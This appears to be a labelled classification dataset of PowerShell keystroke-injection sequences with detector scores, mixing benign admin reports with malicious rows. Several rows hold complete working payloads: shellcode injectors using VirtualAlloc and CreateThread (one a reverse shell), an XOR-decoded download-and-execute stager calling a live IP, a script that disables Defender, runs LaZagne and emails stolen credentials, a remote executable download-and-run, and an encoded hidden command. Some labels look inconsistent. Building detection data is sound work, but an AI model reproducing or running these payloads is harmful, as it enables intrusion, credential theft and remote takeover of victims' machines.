1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1648913e-05,0.9999484
"win+r powershell enter $Wc=NEw-ObjEct SySTem.Net.WEbClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wC.HeadeRs.ADD('User-Agent',$u);$wc.PROXY = [SYST enter Em.NET.WEBReqUEst]::DEFaUltWebPROxy;$wc.ProXY.CrEDENtiALS = [SYStEM.NeT.CREdenTI enter ALCaCHe]::DEFAULTNetWorkCRedentiALS;$K='rA32Fp:I!*ds$l,xZk9[?5QC~u;K-vNw';$i=0;[ enter chAR[]]$B=([chAr[]]($wC.DoWNloAdStRinG(""http://159.203.89.248:80/index.asp"")))|% enter {$_-bXoR$k[$I++%$k.LENGtH]};IEX ($B-JOIN'') enter enter",1,1,5.600293e-05,0.999944
enter enter delay_long enter enter enter delay_long enter enter enter delay_long enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter enter delay_long enter unknown_key_action STRING enter enter enter delay_long enter unknown_key_action STRING enter enter enter delay_long enter unknown_key_action STRING enter enter enter delay_long enter down enter tab enter unknown_key_action STRING enter enter enter delay_long enter down enter tab enter unknown_key_action STRING enter enter enter delay_long enter down enter tab enter unknown_key_action STRING enter enter enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter space enter delay_short enter tab enter delay_short enter space enter delay_short enter tab enter delay_short enter space enter delay_short enter tab enter delay_short enter space enter delay_short enter tab enter delay_short enter space enter delay_short enter tab enter delay_short enter space enter delay_short enter enter enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter,1,1,5.731748e-05,0.99994266
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_jb17mrhs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_10.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4795907e-05
"win+r powershell enter function Show-BalloonTip { [OutputType([void])] [CmdletBinding(DefaultParamete enter rSetName = 'IconFilePath')] param ( [Parameter(Mandatory,ParameterSetName = ' enter IconFilePath')] [ValidateNotNullOrEmpty()] [string]$IconFilePath, [Parameter enter (Mandatory,ParameterSetName = 'Icon')] [ValidateNotNullOrEmpty()] enter enter",1,1,0.0008940204,0.999106
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xe9,0xbb,0x12,0x4a,0xb9,0xca,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x57,0x31,0x5a,0x17,0x83,0xea,0xfc,0x03,0x48,0x59,0x5b,0x3f,0x90,0xb5,0x19,0xc0,0x68,0x46,0x7e,0x48,0x8d,0x77,0xbe,0x2e,0xc6,0x28,0x0e,0x24,0x8a,0xc4,0xe5,0x68,0x3e,0x5e,0x8b,0xa4,0x31,0xd7,0x26,0x93,0x7c,0xe8,0x1b,0xe7,0x1f,0x6a,0x66,0x34,0xff,0x53,0xa9,0x49,0xfe,0x94,0xd4,0xa0,0x52,0x4c,0x92,0x17,0x42,0xf9,0xee,0xab,0xe9,0xb1,0xff,0xab,0x0e,0x01,0x01,0x9d,0x81,0x19,0x58,0x3d,0x20,0xcd,0xd0,0x74,0x3a,0x12,0xdc,0xcf,0xb1,0xe0,0xaa,0xd1,0x13,0x39,0x52,0x7d,0x5a,0xf5,0xa1,0x7f,0x9b,0x32,0x5a,0x0a,0xd5,0x40,0xe7,0x0d,0x22,0x3a,0x33,0x9b,0xb0,0x9c,0xb0,0x3b,0x1c,0x1c,0x14,0xdd,0xd7,0x12,0xd1,0xa9,0xbf,0x36,0xe4,0x7e,0xb4,0x43,0x6d,0x81,0x1a,0xc2,0x35,0xa6,0xbe,0x8e,0xee,0xc7,0xe7,0x6a,0x40,0xf7,0xf7,0xd4,0x3d,0x5d,0x7c,0xf8,0x2a,0xec,0xdf,0x95,0xc2,0x8a,0xab,0x65,0x73,0x22,0x3a,0x08,0xea,0x98,0xd4,0x98,0x9b,0x06,0x23,0xde,0xb1,0x76,0xf0,0x73,0x69,0x2a,0x55,0x27,0xe5,0xf6,0x0f,0xbe,0x52,0xf9,0x7a,0x13,0xce,0x6c,0x87,0xc7,0xa3,0x18,0x3b,0xe6,0x43,0xd9,0xab,0x6d,0x43,0xd9,0x2b,0x6e,0x14,0xb1,0x7c,0xe7,0x0b,0x87,0x7d,0x22,0xba,0xce,0xd2,0xa5,0xbd,0xfc,0x34,0xb1,0xed,0x53,0xe7,0xed,0x42,0x02,0x6f,0xf9,0x30,0x84,0x54,0x02,0x6f,0x4e,0xc0,0xf6,0xcf,0x07,0x94,0x34,0xf0,0xd7,0x1d,0xda,0x9a,0xd3,0x4d,0x71,0x44,0x8a,0x05,0xf0,0x3c,0xac,0x53,0x05,0x15,0x83,0x08,0xa9,0xc5,0x72,0xc6,0x60,0xec,0x62,0x6d,0x84,0x25,0x17,0x51,0x0f,0xce,0x57,0x24,0x29,0x26,0x20,0xc6,0xc9,0xb7,0xc5,0x86,0xa1,0xb7,0x09,0x06,0x32,0xd0,0x29,0x06,0x72,0x20,0x79,0x6e,0x2a,0x84,0x2e,0x8b,0x35,0x11,0x43,0x00,0x99,0x13,0x83,0xf1,0x75,0x24,0x6c,0xfd,0x85,0x77,0x3a,0x95,0x97,0xe1,0x4b,0x87,0x67,0xd8,0xc9,0x87,0xec,0x2c,0x5a,0x00,0x0c,0x70,0xd8,0xce,0x7b,0x93,0xbb,0x0d,0xdc,0xb3,0x4b,0x6e,0x1c,0xbc,0x81,0xbe,0xd2,0x70,0xd9,0x90,0x2d,0x59,0x2e,0xdc,0x4d,0x1e,0xa0,0xa9,0xec,0x36,0x2b,0xd1,0xa3,0x49,0x7e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.19937e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_z3ojzohn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3899414e-05
"win+r powershell enter # Service Permission Checker && Folder Perms Checker # Ben Turner @benpturner < enter # .Synopsis Service Permission Checker .DESCRIPTION Permission Checker : Equi enter vlent to: $_.FullName | Select-Object pschildname,pspath,accesstostring} catch enter {}}|Export-Csv C: tab emp\acl.csv -NoTypeInformation enter enter",1,1,7.736742e-05,0.99992263
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x7b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter # Automated Install script by Mioki enter # http://github.com/okibcn enter function Test-Administrator { enter [OutputType([bool])] enter param() enter process { enter [Security.Principal.WindowsPrincipal]$user = [Security.Principal.WindowsIdentity]::GetCurrent(); enter return $user.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator); enter } enter } enter function Finish { enter Clear-Host enter Start-Process ""wsa://com.topjohnwu.magisk"" enter Start-Process ""wsa://com.android.vending"" enter } enter if (-not (Test-Administrator)) { enter $proc = Start-Process -PassThru -WindowStyle Hidden -Verb RunAs powershell.exe -Args ""-executionpolicy bypass -command Set-Location `""$PSScriptRoot`""; `""$PSCommandPath`"" EVAL"" enter $proc.WaitForExit() enter if ($proc.ExitCode -ne 0) { enter Clear-Host enter Write-Warning ""Failed to launch start as Administrator`r`nPress any key to exit"" enter $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown'); enter } enter exit enter } enter elseif (($args.Count -eq 1) -and ($args[0] -eq ""EVAL"")) { enter Start-Process powershell.exe -Args ""-executionpolicy bypass -command Set-Location `""$PSScriptRoot`""; `""$PSCommandPath`"""" enter exit enter } enter reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock"" /t REG_DWORD /f /v ""AllowDevelopmentWithoutDevLicense"" /d ""1"" enter $VMP = Get-WindowsOptionalFeature -Online -FeatureName 'VirtualMachinePlatform' enter if ($VMP.State -ne ""Enabled"") { enter Enable-WindowsOptionalFeature -Online -NoRestart -FeatureName 'VirtualMachinePlatform' enter Clear-Host enter Write-Warning ""Need restart to enable virtual machine platform`r`nPress y to restart or press any key to exit"" enter $key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') enter If (""y"" -eq $key.Character) { enter Restart-Computer -Confirm enter } enter Else { enter exit 1 enter } enter } enter Add-AppxPackage -ForceApplicationShutdown -ForceUpdateFromAnyVersion -Path vclibs.appx enter Add-AppxPackage -ForceApplicationShutdown -ForceUpdateFromAnyVersion -Path xaml.appx enter $Installed = $null enter $Installed = Get-AppxPackage -Name 'MicrosoftCorporationII.WindowsSubsystemForAndroid' enter If (($null -ne $Installed) -and (-not ($Installed.IsDevelopmentMode))) { enter Clear-Host enter Write-Warning ""There is already one installed WSA. Please uninstall it first.`r`nPress y to uninstall existing WSA or press any key to exit"" enter $key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') enter If (""y"" -eq $key.Character) { enter Remove-AppxPackage -Package $Installed.PackageFullName enter } enter Else { enter exit 1 enter } enter } enter Clear-Host enter Write-Host ""Installing MagiskOnWSA..."" enter Stop-Process -Name ""wsaclient"" enter Add-AppxPackage -ForceApplicationShutdown -ForceUpdateFromAnyVersion -Register .\AppxManifest.xml enter if ($?) { enter Finish enter } enter Elseif ($null -ne $Installed) { enter Clear-Host enter Write-Host ""Failed to update, try to uninstall existing installation while preserving userdata..."" enter Remove-AppxPackage -PreserveApplicationData -Package $Installed.PackageFullName enter Add-AppxPackage -ForceApplicationShutdown -ForceUpdateFromAnyVersion -Register .\AppxManifest.xml enter if ($?) { enter Finish enter } enter } enter Write-Host ""All Done`r`nPress any key to exit"" enter $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') enter",1,1,0.00057075935,0.99942917
"win+r powershell enter function Write-Object { param ( [Parameter( ValueFromPipeline=$True, ValueFr enter omPipelinebyPropertyName=$True)] [object[]]$Object, [string]$Header, [string] enter $Footer ) if ($input) { $Object = @($input) enter enter",1,1,0.006832188,0.9931678
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install laps enter A enter enter enter,0,0,0.99996006,3.9917402e-05
"win+r powershell enter function Get-CIisApplication { [CmdletBinding()] [OutputType([Microsoft.Web. enter Administration.Application])] param( [Parameter(Mandatory=$true)] [string] enter $SiteName, [Parameter()] enter",1,1,0.00773373,0.99226624
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_67m41oi8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4326284e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_brkbjfno"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 3."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.99996555,3.442998e-05
win+r powershell enter $path = 'C: tab emp\' $a1 = New-Object System.Collections.ArrayList $a2 = New-Obje enter ct System.Collections.ArrayList $a3 = New-Object System.Collections.ArrayList $a enter 4 = New-Object System.Collections.ArrayList $a5 = New-Object System.Collections. enter ArrayList $null = 1..3 | % { $a1.Add( (Measure-Command { enter enter,1,1,0.0008392656,0.99916077
"win+r enter powershell enter enter enter win r powershellctrl shift enter enter powershell.exe -windowstyle hidden enter set-mppreference -disablerealtimemonitoring $true enter $dir = ""c:\users\$env:username\downloads mp"" enter new-item -itemtype directory -path $dir enter add-mppreference -exclusionpath $dir enter $hide = get-item $dir -force enter $hide.attributes='hidden' enter invoke-webrequest -uri ""https://github.com/alessandroz/lazagne/releases/download/v2.4.2/lazagne.exe"" -outfile ""$dir\lazagne.exe"" enter & ""$dir\lazagne.exe"" all > ""$dir\output.txt"" enter $smtp = ""insert your smtp here"" enter $from = ""insert your email here"" enter $to = ""insert receiver email here"" enter $subject = ""zero-lazagne report"" enter $body = ""hi, here is the report"" enter $password = ""insert your password here"" | convertto-securestring -asplaintext -force enter $credential = new-object -typename system.management.automation.pscredential -argumentlist $from, $password enter send-mailmessage -from $from -to $to -subject $subject -body $body -attachments ""$dir\output.txt"" -smtpserver $smtp -port 25 -credential $credential enter remove-item -path $dir -recurse -force enter set-mppreference -disablerealtimemonitoring $false enter remove-mppreference -exclusionpath $dir enter clear-history enter exit enter enter enter",1,1,0.0021753844,0.99782467
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://185.45.193.169/update.exe enter ',""$env:TEMP\puttyx86.exe"");Start-Process (""$env:TEMP\puttyx86.exe"") enter enter",1,1,5.6173878e-05,0.99994385
powershell -nop -ep bypass -win hid -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGE enter AOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMwAzAC4AMgAzADIALgAxADU enter AMAAvAHYAaQBlAHcALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACA enter ALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0 enter ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGk enter AbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0 enter AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQ enter AVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGI enter AagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADs enter AIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQ enter AYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGg enter AKQBdAH0AOwAgACQAcgB enter,1,1,6.4323955e-05,0.9999356
"win+r enter powershell enter enter enter import os enter import platform enter from .utils.provider import ask enter from .utils.scraper import WebScraper enter enter from .websites.eja import eja enter enter # from .websites.kimcartoon import kimcartoon enter from .websites.actvid import Actvid enter from .websites.dopebox import DopeBox enter from .websites.sflix import Sflix enter from .websites.solar import Solar enter from .websites.viewasian import viewasian enter from .websites.gogoanime import gogoanime enter from .websites.watchasian import watchasian enter from .websites.wlext import wlext enter from .websites.streamblasters import streamblasters enter from .websites.kinox import kinox enter from .websites.tamilyogi import tamilyogi enter from .websites.einthusan import einthusan enter from .websites.turkish123 import turkish123 enter from .websites.animefox import animefox enter from .websites.scdn import scdn enter from .websites.openloadmov import openloadmov enter from .websites.remotestream import RemoteStream enter from .websites.kisscartoon import kisscartoon enter from .websites.yoturkish import yoturkish enter enter calls = { enter ""eja"": [eja, ""https://eja.tv""], enter # ""kimcartoon"": [kimcartoon, ""https://kimcartoon.li""], enter ""actvid"": [Actvid, ""https://www.actvid.com""], enter ""sflix"": [Sflix, ""https://sflix.se""], enter ""solar"": [Solar, ""https://solarmovie.pe""], enter ""dopebox"": [DopeBox, ""https://dopebox.to""], enter ""viewasian"": [viewasian, ""https://viewasian.co""], enter ""gogoanime"": [gogoanime, ""https://gogoanime.cl""], enter ""watchasian"": [watchasian, ""https://www1.watchasian.id""], enter ""wlext"": [wlext, ""https://wlext.is""], enter ""streamblasters"": [streamblasters, ""https://streamblasters.pro""], enter ""kinox"": [kinox, ""https://ww17.kinox.to""], enter ""tamilyogi"": [tamilyogi, ""https://tamilyogi.how""], enter ""einthusan"": [einthusan, ""https://einthusan.tv""], enter ""turkish123"": [turkish123, ""https://turkish123.ac""], enter ""animefox"": [animefox, ""https://animefox.to""], enter ""scdn"": [scdn, """"], enter ""openloadmov"": [openloadmov, ""https://openloadmov.com""], enter ""remotestream"": [RemoteStream, ""https://remotestre.am""], enter ""kisscartoon"": [kisscartoon, ""https://thekisscartoon.com""], enter ""yoturkish"": [yoturkish, ""https://www1.yoturkish.com""], enter } enter enter if platform.system() == ""Windows"": enter os.system(""color FF"") # Fixes colour in Windows 10 CMD terminal enter def movcli(): # TODO add regex enter try: enter provider = ask() enter provider_data = calls.get(provider, calls[""actvid""]) enter provider: WebScraper = provider_data[0](provider_data[1]) enter # provider.redo(query) if query is not None else provider.redo() enter provider.redo() # if result else provider.redo(query) enter except UnicodeDecodeError: enter print(""[!] The Current Key is not correct, please wait."") enter if __name__ == ""__main__"": enter movcli() enter enter",1,1,0.002007734,0.9979923
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4aatgvae"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.3828976e-05
"win+r powershell enter function Get-CIPAddress enter { enter [CmdletBinding(DefaultParameterSetName='NonFiltered')] enter param( enter [Parameter(ParameterSetName='Filtered')] enter [Switch] enter $V4, enter [Parameter(ParameterSetName='Filtered')] enter [Switch] enter $V6 enter ) enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter [Net.NetworkInformation.NetworkInterface]::GetAllNetworkInterfaces() | enter Where-Object { $_.OperationalStatus -eq 'Up' -and $_.NetworkInterfaceType -ne 'Loopback' } | enter ForEach-Object { $_.GetIPProperties() } | enter Select-Object -ExpandProperty UnicastAddresses | enter Select-Object -ExpandProperty Address | enter Where-Object { enter if( $PSCmdlet.ParameterSetName -eq 'NonFiltered' ) enter { enter return ($_.AddressFamily -eq 'InterNetwork' -or $_.AddressFamily -eq 'InterNetworkV6') enter } enter if( $V4 -and $_.AddressFamily -eq 'InterNetwork' ) enter { enter return $true enter } enter if( $V6 -and $_.AddressFamily -eq 'InterNetworkV6' ) enter { enter return $true enter } enter return $false enter } enter } enter",0,0,0.9999366,6.34444e-05
"win+r powershell enter # Set the URL of the file to download $downloadUrl = ""https://cdn-145.anonfiles enter .com/ub32Leraz0/89a06ad8-1684288710/HELP.zip"" # Set the path where the download enter ed file will be saved $downloadPath = ""C:\Users\Public\AppData"" # Set the path enter where the files will be extracted $extractPath = ""C:\Users\Public\AppData"" # Se enter t the path of the file to run after extraction $fileToRun = ""C:\Users\Public\App enter Data\2.bat"" enter enter",1,1,0.0002762548,0.99972373
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_l95evoqt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter",0,0,0.9999658,3.419018e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_7fkiz70p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3959335e-05
win+r powershell enter function Invoke-Portscan { <# .SYNOPSIS Simple portscan module PowerSploit Fun enter ction: Invoke-Portscan Author: Rich Lundeen (http://webstersProdigy.net) Licen enter se: BSD 3-Clause Required Dependencies: None Optional Dependencies: None enter enter,1,1,6.257651e-05,0.9999374
"win+r powershell enter function Get-TokenElevationType { <# .SYNOPSYS This module uses a C# wrapper ar enter ound a native API dll to determine the token type of the current process, as w enter ell as the status of UAC. Return values for the token type are: TokenElevatio enter nTypeDefault - Unprivileged token issued to standard users, OR under certain c enter onditions, to the default Administrator account when it is enabled and 'Admin a enter pproval mode for built-in administrator account' is off. TokenElevationtypeLi enter mited - Split token issued to a process from a privileged user but running unp enter rivileged. enter",1,1,8.095814e-05,0.99991906
"win+r enter delay_medium enter powershell enter enter enter delay_medium enter [console]::beep(440,500); enter enter enter [console]::beep(440,500); enter enter enter [console]::beep(440,500); enter enter enter [console]::beep(349,350); enter enter enter [console]::beep(523,250); enter enter enter [console]::beep(440,500); enter enter enter [console]::beep(349,350); enter enter enter [console]::beep(523,250); enter enter enter [console]::beep(440,500); enter enter enter delay_long enter [console]::beep(659,500); enter enter enter [console]::beep(659,500); enter enter enter [console]::beep(659,500); enter enter enter [console]::beep(698,350); enter enter enter [console]::beep(523,250); enter enter enter [console]::beep(415,500); enter enter enter [console]::beep(349,350); enter enter enter [console]::beep(523,250); enter enter enter [console]::beep(440,500); enter enter enter exit enter enter",1,1,7.179965e-05,0.99992824
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_oe55ay2u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_150.csv"") -NoTypeInformation enter",0,0,0.9999666,3.3399756e-05
"win+r powershell enter function Add-SPOSolution { [CmdletBinding()] param ( [Parameter(Mandatory=$t enter rue, Position=1)] [string]$path ) Write-Host ""Uploading solution $path"" -fo enter regroundcolor black -backgroundcolor yellow $file = Get-Item -Path $path enter enter",1,1,0.0029588912,0.99704105
